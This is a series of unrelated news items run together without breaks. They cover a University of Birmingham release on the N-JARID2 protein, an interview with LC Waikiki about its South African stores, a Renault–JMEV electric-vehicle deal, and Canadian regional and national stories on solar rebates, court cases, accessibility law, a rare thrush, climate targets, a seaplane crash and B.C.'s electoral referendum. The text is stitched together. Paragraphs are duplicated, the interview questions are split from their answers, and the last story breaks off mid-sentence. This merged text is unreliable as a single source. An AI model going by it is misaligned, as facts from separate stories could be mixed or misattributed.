For further information Kate Chapple and Rebecca Lockwood, + 44 (0)121 414 2772 Ruth Ashton, University of Birmingham Enterprise, + 44 121 414 8646 IP and licensing enquiries: Dr Veemal Bhowruth, University of Birmingham Enterprise, T: +44 (0) 121 415 8123 About the research The research was carried out at the School of Biosciences at the University of Birmingham. It was supported by the Wellcome Trust Institutional Strategic Support Fund, the University of Birmingham, and the Islamic Development Bank. The research team lead by Dr Aditi Kanhere investigated JARID2 expression in lineage committed human cells. JARID2 is a Jumonji family of protein which plays a central role in regulating how genes are expressed. Dr Kanheres group detected a ~80 kDa protein that had not been reported previously, and identified it as a C-terminal cleaved product of full-length JARID2. They named the protein N-JARID2 and characterised its action in in vitro studies using adult human keratinocytes. In these cells, the level of N-JARID2 increases as differentiation of keratinocytes progresses. The research team demonstrated that decreased expression of epidermal genes in JARID2-null cells can be reversed by expression of the C-terminal fragment alone. It was formerly believed that JARID2 was not expressed, or expressed at very low levels in lineage committed cells. Reference Kanhere et al (2018). A Novel Form of JARID2 is Required for Differentiation in Lineage-Committed Cells. EMBO Journal. DOI: 10.15252/embj.201798449 About the patent University of Birmingham Enterprise has filed a broad-based patent covering the protein, its functional fragments, and analogues, and its use in treatments for benign hyperproliferative skin disorders including psoriasis, common warts, keratoacanthoma, seborrhea, ichthyosis, actinic keratosis, Bowen's Disease, papilloma, seborrhoeic keratosis, eczema, atopic dermatitis, keloids, and Epidermolysis Bullosa (EB). About the University of Birmingham The University of Birmingham is ranked amongst the worlds top 100 institutions. Its work brings people from across the world to Birmingham, including researchers, teachers and more than 5,000 international students from over 150 countries. About University of Birmingham Enterprise University of Birmingham Enterprise supports academics who want to innovate, take their ideas to market, work with businesses and social enterprises, or enrich their professional lives by doing academic consultancy projects. We do this by providing enterprise training, funding, office and laboratory space, and a full technology transfer service. University of Birmingham Enterprise also manages the incubation services and facilities at the Birmingham Research Park. For more information on technology transfer and Intellectual Property at the University, visit UoB Enterprise . The University of Birminghams patented technologies are also showcased on the IN-PART partnering website, and on the Midlands Innovation website. Turkish fashion retailer LC Waikiki eyes growth in South Africa Turkish-based global fashion chain LC Waikiki has just opened its third South African store. The new branch, located at Cape Town's Tyger Valley Shopping Centre, follows store openings in Menlyn Park and Sandton City earlier this year. Ilker Hacioglu, LC Waikiki international retail assistant general manager; Sid Peimer, executive director Cape Chamber of Commerce; and Yesim Mis, LC Waikiki sub-Saharan African country canager. With its expansion into South Africa, the retailer is now operating in 43 countries with over 900 stores worldwide, selling approximately 436 million garments per year. The company describes its fashion offering as "well-priced" and "on-trend", catering to women, men and children, with regular weekly specials from LC Waikikis exclusive designers. "Were very excited to be investing in the South African fashion sector and becoming a part of the national retail landscape, comments LC Waikiki's sub-Saharan Africa country manager, Yesim Mis. Yesim Mis With further store openings in the pipeline, Mis let us in on the retailer's attraction to and plans for the SA market. Tell us a bit about the origins of the LC Waikiki brand and its global growth. Tell us a bit about the origins of the LC Waikiki brand and its global growth. With its expansion into South Africa, the retailer is now operating in 43 countries with over 900 stores worldwide, selling approximately 436 million garments per year.The company describes its fashion offering as "well-priced" and "on-trend", catering to women, men and children, with regular weekly specials from LC Waikikis exclusive designers."Were very excited to be investing in the South African fashion sector and becoming a part of the national retail landscape, comments LC Waikiki's sub-Saharan Africa country manager, Yesim Mis.With further store openings in the pipeline, Mis let us in on the retailer's attraction to and plans for the SA market. What has inspired the expansion into the South African market? What has inspired the expansion into the South African market? How many LC Waikiki stores can we expect to so see opened in SA, and which cities are being prioritised? How many LC Waikiki stores can we expect to so see opened in SA, and which cities are being prioritised? How do you see LC Waikiki complementing the current South African fashion retail mix? How do you see LC Waikiki complementing the current South African fashion retail mix? Lauren Hartzenberg's articles About Lauren Hartzenberg Managing editor and retail editor at Bizcommunity.com. Cape Town apologist. Dog mom. Get in touch: lauren@bizcommunity.com Managing editor and retail editor at Bizcommunity.com. Cape Town apologist. Dog mom. Get in touch: lauren@bizcommunity.com LC Waikiki was founded in 1988 in France and has been operating as a Turkish-based global fashion retailer since 1997. LC Waikiki enables people to enjoy affordable fashion in line with the companys motto: Everyone Deserves to Dress Well.LC Waikiki has continued to grow over the past 30 years (both in Turkey and abroad).Being one of the leading brands of the ready-to-wear industry, LC Waikiki operates with more than 900 shops located in 43 countries and has over 42,000 employees.The expansion into South Africa came about for various reasons including the population, income groups and the vast amount of shopping malls in the country. The variety LC Waikikis collections offer caters well to diverse populations such as South Africa and the expectation ratios in terms of price versus quality encouraged LC Waikiki to enter this market.The first LC Waikiki store in South Africa was opened on 20 July 2018 at Menlyn Park, Pretoria. The second was opened in Sandton City on 5 October 2018 and the third (the first in Cape Town) opened on 8 December 2018. LC Waikiki has also finalised negotiations to open two more stores in the near future; one in Durban and a second store in Johannesburg.For the time being, LC Waikiki is focused on logistical investments, considering the increase in the number of stores. LC Waikiki believes that its main warehouse in the country will most likely become operational in January 2019, which will enable the brand to open more stores at a rapid rate.The LC Waikiki collections can be easily described in one sentence: Everything about fashion; from the minute we get out of the bed in the morning, to the moment we get into bed in the evening. The stores will fulfill the wardrobe needs of all customers of different ages - from sleepwear to active wear; from everyday casual wear to evening dresses.They also offer maternity wear, very good mens ranges and clothing for newborns. Moreover, LC Waikiki stores offer customers more than 30 years of production and quality expertise at affordable prices. Shanghai (Gasgoo)- Groupe Renault and China's Jiangling Motors Co., Group (JMCG) announced an agreement on EV area on December 20. According to the agreement, the French automaker will hold a significant part of JMEV, a subsidiary of JMCG and one of major NEV players in the fast-growing Chinese market. Under the cooperation, Groupe Renault will accordingly complete its offering to the subsidiary, strengthen its EV presence in China and further shore up JMEV's development. The agreement will be reviewed by relevant authorities in China during the first half of 2019. Both companies expect to complete the transaction next year and will then explain more details about their cooperation at an event in Nanchang. Founded in 2015 by JMCG, JMEV is granted with certificates to manufacture and sell NEVs in China by both China's Ministry of Industry and Information Technology and National Development and Reform Commission. Targeting the so-called third- and fourth- tier cities in China, the EV maker has already launched such models as E100, E200N, E200S, E160 and E400 into market with its sales keeping climbing in recent years. According to a Chinese media outlet, JMEV plans to build three vehicle platforms over the next five years and develop ten all-new models. It is ambitious to form a complete product lineup that covers such segments as A00-segemnt to A-segment sedan, all-electric SUV and MPV, with an investment up to RMB5 billion to be involved. Despite the provinces solar energy rebate program coming to an end, one Brandon company still sees sunny days on the horizon for the industry. Hey there, time traveller! This article was published 20/12/2018 (1078 days ago), so information in it may no longer be current. Advertisement Advertise With Us Despite the provinces solar energy rebate program coming to an end, one Brandon company still sees sunny days on the horizon for the industry. Bryce Yaworsky, co-owner of Alliance Electric and Solar in Brandon, said he has a different outlook from those in the solar industry who see only doom and gloom after the end of the provinces Power Smart rebate. The program offered up to a $1 rebate per watt on approved solar panel installation, a significant saving for people wanting to go green. FILE Bryce Yaworsky installs a solar panel on a Brandon home. Yaworsky is co-owner of Alliance Electric and Solar. "In terms the solar industry in general, I think its doing great," he said. Living Skies Solar, a Winnipeg company, announced earlier this week that it would be forced to move operations to Saskatchewan. Riley Unger, director of sales at the company, said they havent had any new jobs since the solar rebate ended in April. "It was so successful and something that people have want for a very long time," he said. "So exciting to be a part of and now its a really bad example of building an industry up and shutting it right now." The Power Smart incentive was run by Hydro Manitoba as a two year pilot program. After it ended, Cliff Cullen, Manitobas Crown Services minister at the time, said the program would be shifted to the newly created crown corporation Efficiency Manitoba. The Crown corporation isnt fully set up though, and is still in the process of hiring directors. "We will have an announcement on a new CEO for Efficiency Manitoba very soon, and we will not prejudge what the incoming CEO and the board of directors decide in terms of the solar energy program," said Joey Dearborne, press secretary to Colleen Mayer, current minister of Crown Services. Unger said the Westman region along the border with Saskatchewan is ideal for solar energy because it is one of the sunniest places in the country. He said the market was also there because few people living in rural Manitoba use gas for heating, so they rely on electricity. Hydro Manitoba also badly underestimated how many people would apply for the solar rebate to help pay for solar panels, he said. Solar systems can be hooked up to the power grid to sell power back to the province, offsetting residential power bills. "They really didnt realize how much people hate paying their hydro bill," he said. Living Skies Solar hasnt had a new job since the solar rebate ended in April, Unger said, and is just finishing up jobs people scheduled while it was still in place. The companys move to Saskatchewan will mean about 20 jobs leaving with a crew of two or three employees staying in the province to service existing customers. "(Saskatchewan has) commitments to be 50 per cent renewable by 2030 and stronger commitments after that, as it should be," he said. "Its a really good thing and what should not be lost here is this is vital energy to Manitoba Hydro." Yaworsky said though that its not all bad for the industry in Manitoba and his business is still doing well. He said there was a downturn in some sales after the rebate ended as it made it less feasible for people to hook up solar panels to the power grid with the intention of selling power back to the province. With the rebate gone and power prices in Manitoba so low, it makes it very difficult for someone to break even if their intention is to offset the cost by selling the energy generated by the panels. Powering standalone lights or something off-the-grid still makes sense with solar panels, though. "The reason why were doing good and why Im not really even worrying about any of that is because I dont just do grid-tie systems, Im doing a lot of off-grid stuff, lighting, water pumping, all sorts of things." While it would be very helpful for the provincial government to reinstate a solar rebate, its not the death of the industry, Yaworsky said. The program was most beneficial for getting people to jump on board the technology, an area Manitoba still lags in. "Our doors are still wide open on solar," he said. "Theres not a time when I dont have a solar project and were not talking leftovers from rebate days, were talking about new projects that were picking up. Solar as a technology; its got viability." dmay@brandonsun.com Twitter: @DrewMay_ Defence counsel of a man with a lengthy history of unsophisticated thefts and related offences said he wants to move forward after being on a downward spiral ever since he was peer-pressured into trying methamphetamine. Hey there, time traveller! This article was published 19/12/2018 (1079 days ago), so information in it may no longer be current. Advertisement Advertise With Us Defence counsel of a man with a lengthy history of unsophisticated thefts and related offences said he wants to move forward after being on a downward spiral ever since he was peer-pressured into trying methamphetamine. Harley Jordan, 24, pleaded guilty to multiple charges in Brandon provincial court on Monday, including theft under $5,000, resisting a peace officer and possession of methamphetamine. (These charges) are the same kind of stuff he does time and time again, Crown attorney Deidre Badcock said. Thirty days here and 30 days there Mr. Jordan is basically spending his life in custody on the instalment plan. Theyre not sophisticated crimes by any respect, theyre just more of the same. On May 1, police received a report from the 7-Eleven on Willowdale Crescent reporting a shoplifter took $20 worth of items and fled, Badcock said. Surveillance video was provided to police, who identified Jordan immediately. However, he wasnt located until May 17, when officers patrolling downtown Brandon saw him riding his bike. Police attempted to stop Jordan, but he fled from them on his bike, Badcock said. After weaving through the parking lot of city hall and behind some buildings, police caught up with Jordan, who then tried unsuccessfully to jump off his bike and landed on his hands and face. During Jordans arrest, police found three baggies of methamphetamine in his possession, each with a very low amount of the drug in them, Badcock said. Jordan was released but landed back on the polices radar on June 5, when he ran out of the Shoppers Drug Mart on 18th Street with an Acer laptop worth $419, Badcock said. Jordan asked the store associate to see the laptop from a locked glass case before grabbing the item and running out the door with it. We hear often in court what a horrific drug meth is and how its really taken hold of our city and the citizens of this city, Mr. Jordan certainly is an example of that, Badcock said, asking the court to consider a sentence of five months time served. Its the same thing over and over again with Mr. Jordan. Hopefully this time in custody has sent a clear message to him that its time to change his ways. Defence counsel Patrick Durham agreed Jordans time in custody has served as a period of rehabilitation, during which he has had the opportunity to get clean and lead a much healthier life. Jordan tried meth due to some peer pressure, Durham said, but doesnt want to continue down that path. Hes been trying to get into (treatment) since coming into custody and hes going to continue pursuing that upon release, Durham said. He has things to look forward to and plans going forward. Judge Donovan Dvorak agreed with the recommended sentence, adding on one year of unsupervised probation. You had some few months to reflect on whats got you here in the first place and perhaps whats got you into the trouble in the past few years, Dvorak said. You might want to consider your own lifes timeline as to when it is that you started using crystal meth and when it is you started becoming seriously involved in this kind of matter. I suspect they run together. edebooy@brandonsun.com Twitter: @erindebooy The cautious optimism that prevailed in Canada's disabled community when the federal government tabled historic accessibility legislation earlier this year has given way to widespread concern that the law won't lead to meaningful change. Hey there, time traveller! This article was published 19/12/2018 (1078 days ago), so information in it may no longer be current. Steve Estey, the Government and Community Relations Officer at the Council of Canadians with Disabilities, poses for a photo in Halifax on Monday, Dec. 17, 2018. THE CANADIAN PRESS/Andrew Vaughan The cautious optimism that prevailed in Canada's disabled community when the federal government tabled historic accessibility legislation earlier this year has given way to widespread concern that the law won't lead to meaningful change. Major disability organizations, grassroots advocacy groups and disabled individuals said they've raised numerous concerns about the power and scope of the Accessible Canada Act, which the Liberal government first introduced in June. They said the government has largely ignored those concerns as the bill worked its way through debate in the House of Commons and are now calling on the Senate to introduce amendments that they say would make the bill more effective. One the main concerns they raise is the fact that Bill C 81 does not contain timelines to ensure accessibility, contrary to similar provincial legislation on the books in three provinces. They also criticize the bill for allowing the government to create accessibility measures without requiring it to actually enact them, spreading enforcement over numerous government agencies and failing to recognize sign language as an official language of deaf people. Gabrielle Peters, a wheelchair user in Vancouver, said the surge of hope she felt when the bill first came before Parliament has morphed into disappointment and worry based largely on the document's vague language. "They want to be able to say that they have an accessible act, but they don't really want to play an active role in creating an accessible country," Peters said. The Accessible Canada Act states that its goal is to "identify, remove and prevent" accessibility barriers in areas that fall under federal jurisdiction. These include built environments, federally run programs and services, banking, telecommunications and transportation that crosses provincial lines. The government pledged $290 million over six years towards implementing the act, which will see Ottawa appoint an accessibility commissioner and create an organization tasked with developing accessibility standards for relevant areas. When the bill was tabled, Peters said she hoped the government could change the conversation around disability issues by signalling that they form a national priority. The government's choice of language throughout the legislation, however, has played a major role in sowing doubts. The bill repeatedly uses "may" rather than "shall" when describing government actions, meaning the government is empowered to take actions but never required to follow through on them. The bill also gives the government broad powers to exempt organizations, including itself, from accessibility measures that are put in place. Peters' concerns are echoed in an open letter penned by the Council of Canadians with Disabilities and signed by an additional 92 advocates from coast to coast. Signatories range from local service providers and self-advocacy groups to national organizations such as the Canadian National Institute for the Blind, National Network for Mental Health and March of Dimes Canada. The letter highlights a total of nine issues that it called on the government to address. Chief among them was the absence of overarching timelines in the act. Comparable provincial legislation in Ontario indicates the province must achieve full accessibility by 2025. Legislators in Nova Scotia initially left timelines out of the provincial accessibility bill but eventually included them after lobbying from the province's disabled community. Timelines are no guarantee of progress, said Steve Estey of the Council of Canadians with Disabilities, but they provide key accountability measures. "While there's ample evidence that these deadlines are challenges, and there are challenges attached to meeting them, those challenges are the embodiment of accessibility legislation," said Estey, who was deafened later in life. "To simply set aside these timelines really is problematic." Estey also critiqued the government's broad exemption powers, citing an example from parliamentary hearings in which airport operators argued small facilities should not be forced to comply with new accessibility standards. Such exemptions, Estey said, would undercut the purpose of the bill. "If one can only fly to and from large airports, how is this creating the culture of access that the bill envisions," he said. The letter also urges the government to designate both American and Quebec Sign Language as official languages for the deaf. Failing to do so actively bars deaf people from basic civic and social interactions, said Frank Folino, president of the Canadian Association of the Deaf. Lack of sign language prevents him from fully taking in political debates, reading government communications in emergency situations, or having equal access to airport staff when travelling within Canada or abroad, he said. Granting official language status, he said, would address those barriers while also allowing deaf people equal access to the court system. "Deaf Canadians are entitled to the same rights as any other Canadians," he said in a written interview. Carla Qualtrough, the federal accessibility minister, said adding sign language to Canada's official languages would require complex amendments to the Constitution that are beyond the scope of the Accessible Canada Act. She said timelines were left out because accessibility standards are continually evolving, adding the focus was on starting immediate conversations around accessibility rather than mandating when they may come to an end. Qualtrough described the bill as "enabling legislation" which requires "permissive language" in order to be most flexible. She said 74 amendments proposed during parliamentary hearings were eventually adopted. Advocates, however, said primary concerns they voiced went largely unaddressed despite having support from all three opposition parties. They said they're looking to the Senate to strengthen the bill, but Qualtrough said the legislation in its current form already represents significant progress. "Everybody recognizes that this is a massive step forward," she said. "People have views on how much further we should have taken it, and they're entitled to those, but I am holding my head up high around what great law this will be and how fundamentally this is a game-changer for the disability community." The very flexibility Qualtrough touts as an asset strikes Peters as its greatest weakness. "We exclude people in this country," she said. "We exclude people by design, we exclude people by our policies, and this legislation is failing to prevent that." SALMON ARM, B.C. - A little thrush that's a long way from home is enchanting bird watchers in British Columbia's southern Interior. Hey there, time traveller! This article was published 20/12/2018 (1077 days ago), so information in it may no longer be current. A fairfield, a species of thrush usually found in Europe, Asia or North Africa, is shown in a handout photo. A little bird that's a long way from home is enchanting bird watchers in British Columbia's southern Interior as they get a close look at a creature that usually comes no closer to North America than the shores of Iceland or eastern Russia.THE CANADIAN PRESS/HO-Roger Beardmore MANDATORY CREDIT SALMON ARM, B.C. - A little thrush that's a long way from home is enchanting bird watchers in British Columbia's southern Interior. Experienced birders Roger Beardmore and Nan Prittie say the fieldfare, a species of thrush usually found in Europe, Asia or North Africa, has been making itself comfortable with a flock of robins in Salmon Arm. "How it got here is a complete mystery," Beardmore said during a telephone interview on Thursday. Some flocks breed in Russia, he said, and a few birds have been known to fly as far east as Alaska before working their way down the west coast. A single sighting of a fieldfare was recorded in Metro Vancouver in 2003, but this sighting is a first for the Interior and Beardmore said he had to do some research to confirm it. Prittie spotted the bird as she and Beardmore took part in an annual bird count and because it has colouring similar to an immature robin, neither believed they had seen anything out of the ordinary until carefully studying a picture he snapped. "It looks like a thrush, it's about robin size and it was hanging out with robins so I thought, well, it might be a redwing," said Beardmore, describing another European species of thrush which is also rare in B.C. "So I brought up some pictures of a redwing and that wasn't it, but right beside it was a picture of a fieldfare and bingo, it looked just like that," said the retired Parks Canada employee and avid amateur photographer. The fieldfare was first spotted near Salmon Arm on Dec. 16 and Beardmore said it has been sighted numerous times since by birders who have travelled from as far away as Washington state and Vancouver Island. It's gregarious, hanging out in large groups in its home habitat, and Beardmore said it's very comfortable in the current wintry conditions. "The Europeans actually call it the winter thrush so they are quite used to cold climes, there's no problem there," he said. "This year in particular, it's a mild winter and there's a lot of food available, a lot of mountain ash berries, so it should do quite well." Beardmore may also be hoping this rare visitor follows the example of a redwing that arrived in Victoria several years ago and then returned at the same time for another two or three years. "(Fieldfares) are remarkable creatures, there is no doubt," he said. "It's very exciting for birders." Note to readers: This is a corrected story. A previous version incorrectly said the bird was a fairfield. OTTAWA - Canada's current climate-change plans leave it 79 million tonnes shy of its greenhouse-gas emissions targets but Environment Minister Catherine McKenna says most of that gap will be closed if Canadians switch to electric cars and public transit more quickly. Hey there, time traveller! This article was published 20/12/2018 (1078 days ago), so information in it may no longer be current. Minister of Environment and Climate Change Catherine McKenna is reflected in a television display as she speaks during a press conference on Canada's climate plan, in the National Press Theatre in Ottawa on Thursday, Dec. 20, 2018. THE CANADIAN PRESS/Justin Tang OTTAWA - Canada's current climate-change plans leave it 79 million tonnes shy of its greenhouse-gas emissions targets but Environment Minister Catherine McKenna says most of that gap will be closed if Canadians switch to electric cars and public transit more quickly. Canada aims to cut emissions of carbon dioxide and similar gases to 513 million tonnes a year by 2030. In 2016, the most recent year for which measurements are available, Canada emitted 704 million tonnes. Computer modeling suggests by 2030 we will get down to 592 million tonnes if we fully implement all the measures Canada has planned, like the carbon tax, clean fuel standards, energy-efficiency improvements for buildings and closing coal-fired power plants. But McKenna said Thursday that a number of moves haven't been worked into the country's models yet, such as the construction of major new transit systems and policies to cut the use of single-use plastic packaging. She said new technology is coming fast that will help Canada get all the way there, holding up her iPhone multiple times as an example of something that didn't exist 10 years ago but that has now been widely adopted. (Apple's iPhone was introduced 11 years ago, though it wasn't available in Canada until 2008.) "We're talking about 2030," she said. "That's 12 years. We can do this." McKenna's office released more details on some of the climate programs meant to make a difference. Those include proposed regulations for a clean-fuels standard that will require liquid fuels like gasoline and diesel to burn 11 per cent more cleanly by 2030. That measure alone will contribute to cutting 23 million tonnes of emissions, the government says. New standards for solid and gaseous fuels will be introduced later, with a goal to cut at least seven million tonnes of emissions from them by 2030. The clean-fuels standard is on top of the carbon price that will be applied to input fuels in provinces that don't already have their own starting next April. Environment officials said they can't yet say what impact it will have on the price of gasoline or other liquid fuels but acknowledged it will have one. McKenna called the need for Canadian companies to find ways to meet the new rules an economic opportunity. "We did not get out of the Stone Age cause we ran out of stones," McKenna said. "We got smarter and that's exactly what we're doing with our policies, including the clean-fuel standard." Conservative environment critic Ed Fast slammed the standard as just another way the government is trying to kill Canada's oil industry. He said like the carbon price, the clean-fuel standard will raise the cost of everything. Environment groups largely applauded the proposed standard Thursday. Clean Energy Canada said its research shows it can drive $5.6 billion a year in economic growth and create 31,000 jobs in the building, supply and operating of new clean-fuel production facilities. McKenna's latest emissions announcement comes just two days after her government offered up another $1.6 billion to help Alberta's oil-and-gas sector weather a price crisis, much of it in efforts to help find new markets to sell to. That investment was met by boos in Alberta, where the government said the money won't solve the key problem of getting its oil transported to buyers, and jeers from environment groups that said investing in fossil fuels at all is contrary to Canada's global climate-change commitments. NDP environment critic Alexandre Boulerice said subsidies to fossil-fuel companies and buying pipelines, like the federal government's $4.5-billion purchase of the Trans Mountain pipeline earlier this year, run counter to the government's climate-change claims. "Canada can't expect to meet our climate commitments when our government continues to hand out giveaways to major polluters," he said. McKenna said she is not just the environment minister for environmentalists but also for Albertans and oil-sector workers. "We're in a transition," she said. "Transitions to a cleaner future are hard. They don't happen from one day to the next." McKenna's department is also updating the carbon-pricing system for big industry, giving more leeway to producers of petrochemicals, lime and cement because of competitive pressures they face internationally. The environment ministry is not yet saying exactly how much revenue it expects to raise from big emitters but promises it will be returned to be used to cut emissions in the industries that pay it. More details of those plans are supposed to be available in 2019. A young Canadian convicted of plotting terrorist attacks in New York City was sentenced by an American court on Wednesday to 40 years in prison, his Canadian lawyer said. Hey there, time traveller! This article was published 19/12/2018 (1078 days ago), so information in it may no longer be current. A young Canadian convicted of plotting terrorist attacks in New York City was sentenced by an American court on Wednesday to 40 years in prison, his Canadian lawyer said. The sentence handed down to Abdulrahman El Bahnasawy, 20, came despite defence pleas that the accused was severely mentally ill and a drug addict, and the victim of entrapment. "He got 40 years," lawyer Dennis Edney told The Canadian Press in an interview. "Even although we had spent a great deal of time establishing his mental illnesses, his bipolar history, that he suffers psychotic episodes, that he's addicted to drugs since the age of 14 and failed numerous rehab clinics." Edney said U.S. District Judge Richard Berman recognized the accused's mental illness and acknowledged El Bahnasawy had tried to commit suicide in prison several times. "He felt clearly that 40 years was doing him a favour because the FBI wanted life and he mentioned that a number of times." Documents filed with the court in the Southern District of New York show El Bahnasawy was just 17 and living at home in Mississauga, Ont, when he met an undercover FBI agent online. The defence argued that the agent encouraged him to plan attacks in the Big Apple. Prosecutors maintained the plot was well underway before the two connected. The plans, which involved conspirators arrested in Pakistan and the Philippines, called for attacks on the New York subway and Times Square. The FBI, with RCMP help, arrested the then-18-year-old El Bahnasawy at a hotel on the outskirts of New York in May 2016. Investigators said he had bought bomb-making materials and helped secure a cabin within driving distance of the city for the purpose of building explosive devices. El Bahnasawy later pleaded guilty to terrorism charges in 2016. In the letter filed with the court in March, El Bahnasawy explained that American airstrikes against the Middle East had motivated him. Americans were trying to disrupt the lives of people in the Middle East with airstrikes and "it was appropriate to use similar methods back until and unless they stop," he said. "There are many issues in this world but I don't want to lose my life or freedom to try fixing them, and I definitely do not want to resort to violence or harm to fix them," El Bahnasawy wrote. "I sincerely apologize for my (behaviour) and I only ask for a second chance." Edney said it was clear over the days of sentencing that the FBI were aware of El Bahnasawy's mental-health problems from the RCMP, who had obtained his medical records. He also said an entrapment defence had failed in every terrorism trial in the United States over the past dozen years despite "clear government over-reach highlights." "The undercover agent, who had dealt with this damaged boy, had his medical records from the RCMP," Edney said. In a recent pre-sentencing submission, his parents Khdiga Metwally and Osama Elbahnasawy pleaded for understanding, saying their son had struggled with mental illness and addiction for years. "Abdulrahman is an exceptionally bright boy suffering from bipolar, a condition he was ascribed at birth and which he has no choice over," they wrote the judge. "We can either be the hand that strikes him down even further and punishes him for something which he cannot control, or the hand that leads him out of the darkness." The hope now is to have El Bahnasawy transferred to Canada under an international treaty to serve out his sentence. SYDNEY, Australia - Investigators in Australia have used photographs taken by a passenger and a witness on the ground to help piece together the last moments before a seaplane crashed on New Year's Eve, killing the Canadian pilot and his five British passengers. Hey there, time traveller! This article was published 19/12/2018 (1078 days ago), so information in it may no longer be current. Police and and Australian Transport Safety Bureau investigators board a police boat to go the scene of a seaplane crash in the Hawkesbury River near Sydney, Monday, Jan. 1, 2018. Police divers recovered the bodies of all six victims a few hours after the crash on Sunday, New South Wales police said. THE CANADIAN PRESS/AP-Rick Rycroft SYDNEY, Australia - Investigators in Australia have used photographs taken by a passenger and a witness on the ground to help piece together the last moments before a seaplane crashed on New Year's Eve, killing the Canadian pilot and his five British passengers. In an interim factual report, the Australian Transport Safety Bureau also says New South Wales police have conducted a re-enactment flight to establish the plane's location using the passenger's photographs. Pilot Gareth Morgan, a former resident of North Vancouver, was flying the de Havilland Canada DHC-2 Beaver owned by Sydney Seaplanes when it crashed into the Hawkesbury River near Sydney. The bureau says its ongoing investigation will now focus on the plane's flight path and how it compared to the standard departure typically taken by other pilots, the pilot's health and medical history, the aircraft's performance and handling characteristics, and similar accidents in Australia and internationally. The interim report does not include any analysis or findings by the bureau. A preliminary report released earlier this year ruled out a bird strike, contaminated fuel and the plane breaking up in flight as possibilities for the cause of the crash. The plane crashed shortly after takeoff as it was climbing for a flight south to Sydney following a restaurant lunch. The report cites eyewitnesses saying the plane suddenly entered a steep right turn before the nose dropped. The plane hit the water in a near-vertical dive, the bureau has said in a previously released report. The plane was built in 1963 and had an earlier fatal crash in 1996 while it was being used as a crop duster in rural Australia. The interim report released Wednesday says the aircraft was rebuilt in 1999 and converted to a floatplane, then was acquired by Sydney Seaplanes in 2006. "There was nothing to indicate the rebuild 18 years before had any connection with this accident," the report says. Morgan, who was 44, has been described as an extremely experienced and deeply respected pilot. The report says the owner of the aircraft estimated Morgan had flown at least 780 flights to and from Cottage Point, where it was taking off from when the accident happened. It says the pilot's personal routine in the three days before the accident are unknown, but a friend told the bureau that Morgan's daily routine was "regimented and consistent," and that he exercised regularly and was a healthy eater. "Work colleagues and persons at Cottage Point who conversed with the pilot prior to this flight and throughout the day reported that he appeared normal, upbeat and happy," it says. Also killed in the crash were Richard Cousins, 58, his fiancee Emma Bowden, 48, her 11-year-old daughter Heather Bowden-Page and his two sons William, 25, and Edward, 23. The aircraft was not fitted with a cockpit voice or flight data recorder and Australian regulations did not require the plane to have the devices, but the bureau says it will consider whether they should be installed on planes of its size. HALIFAX - The former CEO of Halifax's IWK Health Centre is "anxious" but ready to fight fraud charges, her lawyer says. Hey there, time traveller! This article was published 20/12/2018 (1078 days ago), so information in it may no longer be current. Joel Pink, lawyer for former CEO Tracy Kitch, one of two former children's hospital executives charged with fraud and breach of trust in relation to an expense scandal at Halifax's IWK Health Centre, arrives at provincial court in Halifax on Thursday, Dec. 20, 2018. THE CANADIAN PRESS/Andrew Vaughan HALIFAX - The former CEO of Halifax's IWK Health Centre is "anxious" but ready to fight fraud charges, her lawyer says. Tracy Kitch and former IWK chief financial officer Stephen D'Arcy both of whom now live in Toronto were scheduled to make their first appearances in a Halifax courtroom on Thursday. As expected, neither of them showed up, leaving lawyers to speak on their behalf. "Needless to say, she's very anxious, but she's ready for the fight," defence lawyer Joel Pink told reporters afterward. Kitch a former executive vice-president of patient care and chief nursing executive at Mount Sinai Hospital in Toronto resigned as the IWK's CEO in August of last year. An independent review had concluded she owed tens of thousands of dollars for "potentially personal" expenses charged to her corporate credit card. Kitch, who served as CEO of the children's hospital between 2014 and 2017, was charged with breach of trust and fraud over $5,000. D'Arcy also faces a charge of breach of trust, in addition to charges of unauthorized use of a computer and mischief to data. "Any time there's an allegation of public trust that's being breached, whether it's a hospital or any other organization, it is treated very seriously," Crown attorney Peter Dostal said outside the courtroom. He said Kitch and D'Arcy are facing separate charges, which means their cases will proceed separately. "However, (the cases) are related and are both considered quite serious, given that the allegations relate to activities of people in positions of public trust. We're taking it very seriously." Pink told the court he had received the Crown's disclosure of evidence, which includes 4,500 pages of financial documents. Saying he needed extra time to pore over the material, Pink asked provincial court Judge Anne Marie Simmons to schedule the next court date for June 2019. However, Dostal objected, saying Pink's review of the evidence shouldn't take that long. Simmons rejected Pink's request: "I think that's too long," she said. She said Kitch must return to provincial court to enter a plea on April 15, and D'Arcy must do the same on Feb. 27. Outside court, Pink said he asked for more time because he wants a forensic auditor to examine all of the files. "In most fraud cases, the paper trial is very important and is really voluminous," he said. "This is a complicated one, so it just means there's much more that we have to go through." Police said they launched their investigation following a complaint of financial mismanagement from the IWK board of directors on Sept. 20, 2017. D'Arcy stepped down five days later. Kitch was arrested at her home in Oakville, Ont., while D'Arcy turned himself in to Toronto police. Kitch was earning an annual salary of $296,289 at the time of her departure. Earlier this month, Nova Scotia's auditor general said he was shocked to find a lack of oversight and basic financial management controls at the hospital. Michael Pickup released an audit report that concluded the IWK's board of directors failed to create a culture that promoted accountability. "The lack of adequate oversight by the board and management significantly increases the risk of fraud, theft, unauthorized transactions, inefficient spending and wasted money which the IWK Health Centre could have used for other organizational priorities," the report said. Pickup also found the board and management did not have a fraud policy in place. VICTORIA - Voters in British Columbia have rejected a proposal to switch to a system of proportional representation to elect members of the legislature for a third time, prompting all three parties to declare electoral reform a dead issue. Hey there, time traveller! This article was published 20/12/2018 (1077 days ago), so information in it may no longer be current. The 2018 Referendum on Electoral Reform package and mail in ballot from Elections B.C. is pictured in North Vancouver, B.C., Thursday, Nov. 1, 2018. e results of British Columbia's referendum on whether the province should switch to a system of proportional representation are being released today. THE CANADIAN PRESS /Jonathan Hayward VICTORIA - Voters in British Columbia have rejected a proposal to switch to a system of proportional representation to elect members of the legislature for a third time, prompting all three parties to declare electoral reform a dead issue. The current first-past-the-post system received 61.3 per cent of the votes cast in a mail-in referendum, while proportional representation got 38.7 per cent in the results released Thursday by Elections BC. "I think electoral reform is finished," deputy premier Carole James said. "The public has clearly spoken. As elected officials you always know the public is right." About 1.4 million voters cast ballots by the Dec. 7 deadline, which represents a turnout of 42.6 per cent of eligible voters. B.C. Chief Electoral Officer Anton Boegman releases the results for the province's referendum on electoral reform during a press conference at the Elections BC office in Victoria, B.C., on Thursday, December 20, 2018. Voters in British Columbia have rejected a proposal to switch to a system of proportional representation to elect members of the legislature. THE CANADIAN PRESS/Chad Hipolito "It'll be surprising if there's any interest in this in the foreseeable future," said Opposition Liberal Leader Andrew Wilkinson. The Liberals campaigned against electoral reform, arguing the 